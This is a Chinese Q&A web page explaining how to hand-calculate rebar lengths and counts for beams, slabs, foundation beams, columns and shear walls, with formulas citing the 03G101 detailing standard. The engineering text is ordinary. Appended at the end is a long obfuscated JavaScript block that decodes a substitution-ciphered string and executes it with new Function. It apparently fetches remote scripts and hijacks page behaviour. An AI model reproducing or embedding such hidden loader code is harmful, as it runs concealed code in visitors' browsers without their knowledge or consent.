B轴线上的钢筋钢筋料单怎么算

B轴线上的钢筋钢筋料单怎么算手算
2025-02-10 22:14:37
推荐回答(1个)
回答1:

一、梁:
1. 焊接按绑扎计算长度,预算时不另行计算焊接费用,机械连接费用由双方协议确定。
2. φ>12时,8米一个搭接,φ≤12时,12米一个搭接。
3. 梁端加密区(Ⅱ级)长度=1.5hb 。 hb——梁高
4. 绑扎搭接区内箍筋应加密,机械连接没有箍筋加密要求。
5. 定额计算时只分φ10以内和φ10以外两类计费。
6. 根据最新的03G101图集规定,支座负筋伸向梁中的长度第一皮和第二皮均按1/3较大跨长度值取用(原图集中规定为支座负筋伸向梁中的长度第一皮按1/3较大跨长度值,第二皮均按1/4较大跨长度值取用).
二、板:
板筋主要有:
1) 受力筋(单向、双向、单层、双层);
2) 支座负筋;
3) 分布筋;
4) 附加钢筋(角部的附加放射筋,洞口附加钢筋)
5) 支撑钢筋(双层钢筋时支撑上下层)
1. 受力筋:
底筋长度L=净长+左支座max {b/2、5d}+右支座max {b/2、5d}+两端弯钩(如果是Ⅰ级钢筋);
面筋长度L=净长+2 la(两端均为端支座)
b——支座宽,d——钢筋直径。
根数=(净长-扣减值)/布筋间距+1
2.支座负筋及分布筋:
负筋长度=设计负筋长度+左弯折+右弯折【板厚-2×保护层(预算时只减一个保护层)】
负筋根数=布筋范围/布筋间距+1;
分布筋长度:有3种计算方法:
1)和负筋搭接计算(采用150搭接长度或250最小锚固长度和300最小搭接长度,任取一种);
2)按轴线长度计算;
3)按负筋布置范围长度计算。
以上三种方法都可以,但首选第一种方法。
3. 附加钢筋(角部的附加放射筋,洞口附加钢筋)及支撑钢筋(双层钢筋时支撑上下层):
附加钢筋长度=设计标示长度+左弯折+右弯折【板厚-2×保护层(预算时只减一个保护层)】
(注:角部放射筋长度有时长度是从角部向两边逐步递减的)
支撑钢筋是为了保证双层筋的上层钢筋位置的措施钢筋(码凳),一般情况下是每间距1米布置一根,规格为比板筋大一个规格,长度为该跨净跨长度,支撑腿长度为板厚减保护层的两倍腿间距为1米。
三、基础梁钢筋:
一)主筋长度计算方法同框架梁,只是上部钢筋和下部钢筋颠倒了
a=1.2la+hb+0.5hc
hb——基础主梁截面高度;
hc——延基础梁跨度方向的截面宽度;
第一排,第二排均lo/3,多于两排钢筋时设计要注明尺寸,l1、l2取较大值。
二)箍筋:
四肢箍(大箍套小箍):
1) 大箍下料长度计算方法:
(2H+2B)-8bhc+4d+4×弯折调整值+2×11.9d(下料)
(2H+2B)-8bhc+8d+2×11.9d(预算)
2) 小箍的钢筋长度计算方法:
其一
L(钢筋长度)=[(B-2bhc-D)/3+D]×2+(H-2bhc)×2+2×11.9d+4d+4×弯折调整值(下料)
L(钢筋长度)=[(B-2bhc-D)/3+D]×2+(H-2bhc)×2+2×11.9d+8d(预算)
其二:
L(钢筋长度)=[(B-2bhc-D)/4×2+D]×2+(H-2bhc)×2+2×11.9d+4d+4×弯折调整值(下料)
L(钢筋长度)=[(B-2bhc-D)/ 4×2+D]×2+(H-2bhc)×2+2×11.9d+8d(预算)
其三:
L(钢筋长度)=[(B-2bhc-D)/5+D]×2+(H-2bhc)×2+2×11.9d+4d+4×弯折调整值(下料)
L(钢筋长度)=[(B-2bhc-D)/ 5+D]×2+(H-2bhc)×2+2×11.9d+8d(预算)
说明:1. D——纵筋直径;d——箍筋直径;bhc——保护层;
B——梁宽; H——梁高。
2.箍筋弯钩(135度):抗震取11.9d,非抗震取6.9d(一级钢筋)
弯钩长度计算公式(弯弧半径r取1.25d):
(1.25+0.5) d×135×(π/180)-(1.25+1)d+平直段长度(抗震取10d或75mm的较大值,非抗震取5d)
≈1.9d+平直段长度(即11.9d或6.9d)
3.弯折调整值(90度)的计算公式(弯弧半径r取1.25d):
(1.25+0.5)d×90×(π/180)-(1.25+0.5)d×2≈-0.75d
4.板构件135度弯钩取6.9d(全部按非抗震),底板梁箍筋弯钩取11.9d但箍筋无加密要求(底板的其余钢筋均按非抗震要求设计)。
5.板筋先铺短向筋,后铺长向筋。
四、集水坑:(略)
五、柱:
一)概念:根据所处位置不同分:
角柱、边柱、中柱
柱中的钢筋按位置分:
1、 底层钢筋
2、 中层钢筋
3、 顶层钢筋:
(1)向梁筋
(2)向边筋
(3)远梁筋
注:向梁筋:就近弯向梁的一侧的筋;
向近筋:弯向远离的对边那一侧;
远梁筋:弯向远离的那一侧梁的筋。
二)计算:
1.柱截面中的钢筋数=2×(i+j)-4
i——横排纵向受力钢筋根数
j——竖排纵向受力钢筋根数
2.基础层:
基础插筋=基础底板厚度-保护层+伸入上层的钢筋长度+弯折长度a
柱、墙插筋锚固竖向长度与弯钩长度对照表:
锚固竖向长度 弯钩长度a
≥0.5laE(≥0.5la) 12d且≥150
≥0.6laE(≥0.6la) 10d且≥150
≥0.7laE(≥0.7la) 8d且≥150
≥0.8laE(≥0.8la) 6d且≥150
基础及首层柱筋长度(含首层和基础插筋)=基础底板厚度-保护层+伸入上层(首层)的钢筋长度+弯折长度a+首层层高+伸入上层的钢筋长度【伸入上层钢筋长度值见(03G101-1)P42】
3.中间层:
1)柱纵筋:
纵筋长度L=层高-本层伸出地面的高度+上层伸出楼面的高度+搭接长度(如果是机械连接或焊接就不用加搭接长度,只加焊接缩损长度调整值)
2)箍筋:
箍筋下料长度L=(2H+2B)-8bhc+4d+4×弯折调整值+2×11.9d
箍筋计算长度L=(2H+2B)-8bhc+8d+2×11.9d
说明:D——纵筋直径;d——箍筋直径;bhc——保护层;
B——柱截面宽;H——柱截面高。
★注意:此时的弯折调整值多为负值
大箍套小箍的小箍下料、计算长度同梁小箍计算。
箍筋根数=(加密区范围长度/加密间距)+(非加密区范围长度/非加密间距)+1
3)柱加密区的一般规定:
○1首层柱箍筋加密区有三个(这里所说的首层是指基础上的第一层,不一定是±0.000起算的第一层,也可以是地下室):
a. 下部箍筋加密区长度取Hn/3;
b. 上部箍筋加密区长度取max{500,柱长边尺寸Hc,Hn/6};
c. 梁节点范围内加密。
注:如果该柱纵向钢筋采用绑扎搭接,那么搭接范围内需加密(下同)。
○2首层以上柱箍筋加密区:
a. 上部箍筋加密区长度取max{500,柱长边尺寸Hc,Hn/6};
b. 梁节点范围内加密;
c. 下部同上部加密区。
注:如果该柱纵向钢筋采用绑扎搭接,那么搭接范围内需加密(下同)。
Hc——柱长边尺寸;Hn——柱的净高度。
4.顶层柱:
顶层柱分角柱、边柱、中间柱(中柱)。
1) 角柱:
纵向钢筋长度=层净高-本层伸出地面的钢筋高度+顶层钢筋锚固长度(顶层柱外侧纵筋锚固长度取值见下说明,焊接或机械连接时)
纵向钢筋长度=层净高-本层伸出地面的钢筋高度+顶层钢筋锚固长度+绑扎搭接长度(顶层柱外侧纵筋锚固长度取值见下说明,绑扎,通常情况下预算采用,如机械连接或焊接,根据双方协议另行计算焊接或机械连接费用时,不计搭接长度)
★说明:
○1内测钢筋锚固长度:
a. 直锚:梁高-保护层≥laE(la)时:梁高-保护层;
b. 弯锚:梁高-保护层<laE(la)时:梁高-保护层+12d 。
○2外侧钢筋锚固长度:
a. 柱顶第一层:
a):≥1.5laE(与梁上部纵筋搭接);
b):≥梁高-保护层+柱宽-保护层+8d(弯入柱内侧)。
b.柱顶第二层:≥梁高-保护层+柱宽-保护层+8d .
注意:外侧钢筋锚固长度=max{1.5 laE ,梁高-保护层+柱宽-保护层}
【详图及其它说明见(03G101-1) P37(抗震)或P43(非抗震)
2) 边柱:
(同角柱)
3) 中柱:
纵筋l=柱净高Hn-本层伸出地面高度+顶层锚固长度(如果是搭接的应+搭接长度)
锚固长度取值:
○1直锚(梁高-保护层≥laE时):梁高-保护层;
○2弯锚(梁高-保护层<laE时):梁高-保护层+12d .
注意事项:
○1上柱比下柱多了出钢筋时,多出的钢筋应下插到下层的柱中1.2LaE。(含梁)
○2当上柱筋较下柱筋大时,上柱筋应伸入到下柱的搭接区内搭接
○3当上柱筋较下柱筋小时,下柱筋应伸入到上柱的搭接区内搭接。
注○2条中将下端的连接位置上移至柱上端(见03G101—1 P42)
○4下柱比上柱多出的钢筋应延伸至上层的柱中1.2LaE(含梁)
(以上详见03G101—1 P42图1、图3及附注)
六、 墙:
一)墙的分类:
1 按结构分类:框架剪力墙、框支剪力墙、纯剪力墙。
2 按部位分类:基础墙、中间层墙、顶层墙。
3 按空间类型分类:墙身、暗柱、暗梁(墙顶设置)、连梁(洞口部位设置)
4 按洞口:有洞墙、无洞墙。
二)钢筋种类:
1 墙身:水平钢筋、竖向钢筋、拉筋。
2 墙柱:纵筋、箍筋、拉筋。
3 墙梁(暗梁、连梁):纵筋、箍筋、拉筋。
4 洞口加强筋、梯形筋(措施筋)(03G101—1p53)
【梯形筋(措施筋)一般情况下,每间隔1~1.2米设一道(也可只在墙顶设置一道)】。
◆ 端柱:在剪力墙中,如果在墙的尽端厚度加宽、添加纵筋、加设箍筋,即为端柱(03G101—1 P47)(三种)
三)计算:
1.墙身:
(一)水平钢筋:
1)墙端为暗柱时:
a 外侧钢筋连续通过:
外侧钢筋长度=墙长-保护层;
内测钢筋长度=墙长-保护层+弯折(15d)。
b 外侧钢筋不连续通过:
外侧钢筋长度=墙长-保护层+0.65 LaE;
内测钢筋长度=墙长-保护层+弯折(15d)。
墙身水平钢筋构造图
c 水平筋根数(每排)=(层高-扣减值)/间距+1(注:暗梁、连梁墙身水平筋照设)。
2)墙端为端柱时:
a 外侧钢筋连续通过:
外侧钢筋长度=墙长-保护层;
内测钢筋长度=墙净长+锚固长度(弯锚或直锚)。
b 外侧钢筋不连续通过:
外侧钢筋长度=墙长-保护层+0.65 LaE;
内测钢筋长度=墙净长+锚固长度(弯锚或直锚)。
以上相关详细资料和附图详见(03G101-1) P47
★ 注意:如果剪力墙存在多排筋时,其中间排水平筋在拐角处的锚固措施同该墙的内侧水平钢筋的锚固构造。
4) 剪力墙墙身有洞口时:
水平筋在洞口左右两边截断,分别弯折15d 。
5)水平钢筋的根数:
n=(层高-扣减值)/布筋间距+1(首层以上)
n=(层高-扣减值)/布筋间距+1+基础内的水平布筋(首层,基础内布筋间距≤500且不少于两排水平布筋与拉筋)
墙身插筋及水平分布筋构造节点图
(二)竖向钢筋:
1)首层墙身竖向钢筋的长度L=基础插筋+首层层高+伸入上层的搭接长度;
2)中间层墙身竖向钢筋长度L=本层层高+伸入上层的搭接长度;
3)顶层墙身竖向钢筋的长度L=层净高+顶层锚固长度(laE或la,详03G101-1 P48)
4)墙身有洞口时,墙身竖向钢筋在洞口上下两边截断,分别弯折15d;
5)墙身竖向钢筋根数
n=墙净长/布筋间距+1(墙身竖向钢筋从暗柱,端柱边50mm开始布置)。
(三)墙身拉筋:
1)长度L=墙厚-保护层+弯钩【弯钩长度=2×(11.9+2)d】;
2)根数n=(墙净面积/拉筋的布置面积)+(AL、LL中的拉筋根数)。
说明:
○1墙净面积:是指扣除了暗柱、端柱、暗梁、连梁和门洞口后的面积, 即(墙总面积-门洞口总面积-暗柱、端柱面积-暗梁、连梁面积);
○2拉筋布置面积:指其横向间距×竖向间距。
2.墙柱:
(一)纵筋:
1)首层墙柱纵筋长度=基础插筋+伸入上层之搭接长度
2)中间层墙柱纵筋长度=本层层高+伸入上层的搭接长度
3)顶层墙柱纵筋长度=层净高+顶层锚固长度
注意:如果是端柱,顶层锚固要区分边柱、中柱和角柱,要区分外侧钢筋和内侧钢筋,因为端柱可以看作是框架柱,所以纵筋锚固长度也与框架柱相同。(其余规定详见03G101—1 P48)
(二)箍筋按设计要求。
3.墙梁:
(一)连梁:
1)受力主筋:
顶层、中间层:连梁纵筋长度=洞口宽度+max{2×laE,≥2×600}
2)箍筋:
顶层连梁:纵筋长度范围内均布置箍筋
n=[(laE-0.1)÷0.15+1]×2+[(洞口宽-0.05×2) ÷间距+1]
中间层连梁:洞口范围内布置箍筋
n=(洞口宽-0.05×2) ÷间距+1
(图示详见03G101—1 P51)
注意:顶层连梁和中间层连梁的箍筋布置范围不一样。
3) 拉筋(详见03G101—1 P51注)
(二)暗梁:
1)主筋长度L=间梁净长+锚固;
2)箍筋布置到暗柱边50mm;
3)拉筋间距为箍筋的2倍。
建议计算顺序:暗柱(端柱)—暗梁(连梁)—墙竖向筋—墙水平筋—拉筋
★剪力墙钢筋下料和计算时的几点注意事项:
(1) 墙身拉筋遇连梁、暗梁时要设,遇暗柱时不设,暗柱本身有拉筋时要计算。
(2) 墙身300以下洞时一般不考虑(扣减)。
(3) 暗梁的钢筋要锚入暗柱中。
(4) 暗梁连梁的墙身水平筋照设,竖向筋没有设计说明时照设。
(5) 水平筋遇框架柱时不断开。
(6) 暗柱中图低标拉筋的计算,标的不计算。
(7) 暗梁、连梁均设拉筋。
(8) 暗柱、连梁、暗梁保护层按墙计算。
(9) 一般情况下,暗柱箍筋布筋范围按全高减50mm计算。
(10) 楼层连梁两侧暗柱内不设置连梁箍筋,长城杯暗柱中每边加一个连梁箍筋。
(11) 暗梁在暗柱内不布置箍筋。
(12) 墙身水平筋长度不减暗柱,墙身竖向筋布筋范围要减暗柱
(13) 墙身、连梁、暗梁拉筋均按梅花布置,暗柱不按梅花布置,按节点详图布置。
(14) 墙身、暗墙、暗梁绑扎搭接处箍筋加密[5d(100)]。
七、楼梯钢筋(略)
八、二次结构:
配筋带:纵筋长度=墙净长+2×锚固长度(laE或la)
箍筋按设计要求
过梁:纵筋长度=洞口宽+2×锚固长度(laE或la)
门抱柱(框):纵筋长度=洞口高+2×锚固长度(laE或la)
零星钢筋:据实计算。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();